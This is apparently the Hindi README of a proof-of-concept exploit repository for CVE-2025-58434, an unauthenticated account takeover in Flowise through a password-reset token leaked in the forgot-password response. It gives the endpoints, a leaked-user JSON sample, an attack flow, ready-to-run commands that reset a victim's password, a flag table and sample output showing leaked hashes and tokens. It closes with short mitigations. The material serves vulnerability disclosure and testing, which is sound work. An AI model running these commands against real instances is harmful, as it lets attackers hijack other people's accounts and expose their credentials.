
CVE-2025-58434 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो लीक हुए पासवर्ड रीसेट टोकन के माध्यम से Flowise में अनऑथेंटिकेटेड अकाउंट टेकओवर प्रदर्शित करता है। इसमें दो-चरणीय हमला शामिल है: टोकन लीक और पासवर्ड रीसेट।
⚠️ यह रिपॉजिटरी केवल शैक्षिक एवं अधिकृत सुरक्षा अनुसंधान के लिए है।
उन सिस्टमों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, गैरकानूनी है।
Flowise (क्लाउड-होस्टेड एवं सेल्फ-होस्टेड दोनों) में forgot-password एंडपॉइंट एक वैध पासवर्ड रीसेट टोकन (tempToken) सीधे HTTP प्रतिक्रिया बॉडी में लौटाता है — बिना किसी ईमेल सत्यापन या प्रमाणीकरण के।
इसका मतलब है कि एक हमलावर जो पीड़ित के ईमेल पते को जानता है (या अनुमान लगा सकता है):
forgot-password एंडपॉइंट को कॉल करे → JSON प्रतिक्रिया में tempToken प्राप्त करेreset-password को कॉल करने के लिए tempToken का उपयोग करे → एक नया पासवर्ड सेट करेकोई पूर्व पहुंच, कोई उपयोगकर्ता सहभागिता और कोई ईमेल पहुंच आवश्यक नहीं है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2025-58434 |
| CVSS स्कोर | 9.8 (गंभीर) |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-640: कमज़ोर पासवर्ड पुनर्प्राप्ति तंत्र |
| प्रकार | प्रमाणीकरण बाईपास / असुरक्षित प्रत्यक्ष वस्तु एक्सपोज़र |
| प्रभावित ऐप | Flowise (क्लाउड + सेल्फ-होस्टेड) |
| एंडपॉइंट 1 | POST /api/v1/account/forgot-password |
| एंडपॉइंट 2 | POST /api/v1/account/reset-password |
forgot-password हैंडलर संपूर्ण उपयोगकर्ता रिकॉर्ड — जिसमें उत्पन्न tempToken शामिल है — सीधे API प्रतिक्रिया में लौटाता है, इसके बजाय कि इसे केवल उपयोगकर्ता के पंजीकृत ईमेल पते पर भेजा जाए।
{
"user": {
"id": "<uuid>",
"name": "Victim Name",
"email": "[email protected]",
"credential": "<bcrypt-hash>",
"tempToken": "<LEAKED_TOKEN_HERE>",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
हमलावर Flowise API
│ │
│ POST /forgot-password {ईमेल} │
│──────────────────────────────────────►│
│ │ (tempToken उत्पन्न करता है)
│◄──────────────────────────────────────│
│ 201 { tempToken: "abc123..." } │
│ │
│ POST /reset-password {ईमेल, │
│ tempToken, नया पासवर्ड} │
│──────────────────────────────────────►│
│ │
│◄──────────────────────────────────────│
│ 200 OK (पासवर्ड बदल दिया गया!) │
│ │
✓ खाता अधिग्रहण पूर्ण
cloud.flowiseai.com) — प्रभावित होने की पुष्टिपैच की गई रिलीज़ जानकारी के लिए आधिकारिक Flowise GitHub देखें।
CVE-2025-58434/
├── cve_2025_58434_poc.py # मुख्य PoC स्क्रिप्ट (दो-चरणीय ATO)
├── requirements.txt # Python निर्भरताएँ
├── README.md # यह फ़ाइल
└── DISCLAIMER.md # कानूनी सूचना (उपयोग से पहले पढ़ें)
requests लाइब्रेरी# रिपॉजिटरी क्लोन करें
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434
# निर्भरताएँ स्थापित करें
pip install -r requirements.txt
python3 cve_2025_58434_poc.py --help
इंस्टेंस भेद्य है या नहीं इसकी पुष्टि करें और बिना कोई पासवर्ड रीसेट किए tempToken प्राप्त करें।
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected]
लीक किए गए टोकन का उपयोग करके तुरंत पासवर्ड रीसेट करें।
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--reset \
--new-password "MyNewP@ss2025!"
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--json-output
| ध्वज | संक्षिप्त | विवरण | डिफ़ॉल्ट |
|---|---|---|---|
--url URL | -u | Flowise इंस्टेंस का आधार URL | (आवश्यक) |
--email EMAIL | -e | लक्ष्य खाते का ईमेल पता | (आवश्यक) |
--reset | -r | चरण 2 करें: लीक किए गए टोकन से पासवर्ड रीसेट करें | False |
--new-password PASS | -p | सेट करने के लिए नया पासवर्ड (--reset के साथ उपयोग करें) | Changeme@2025! |
--timeout SECONDS | -t | HTTP अनुरोध टाइमआउट | 10 |
--json-output | -j | कच्चा JSON API प्रतिक्रिया stdout पर प्रिंट करें | False |
[Step 1] Sending forgot-password request …
[*] HTTP Status : 201
========================================================================
LEAKED ACCOUNT DATA
========================================================================
User ID : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Name : Admin User
Email : [email protected]
Credential : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Status : active
tempToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
tokenExpiry : 2025-08-19T13:00:33.834Z
========================================================================
[+] tempToken obtained : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[!] VULNERABLE: The instance leaks password reset tokens unauthenticated!
यदि आप Flowise इंस्टेंस संचालक हैं, तो तुरंत निम्नलिखित शमन लागू करें:
forgot-password से एक सामान्य सफलता संदेश लौटाएं भले ही ईमेल मौजूद हो या न हो — इससे खाता गणना भी रुकती है।forgot-password एंडपॉइंट पर दर सीमा लागू करें।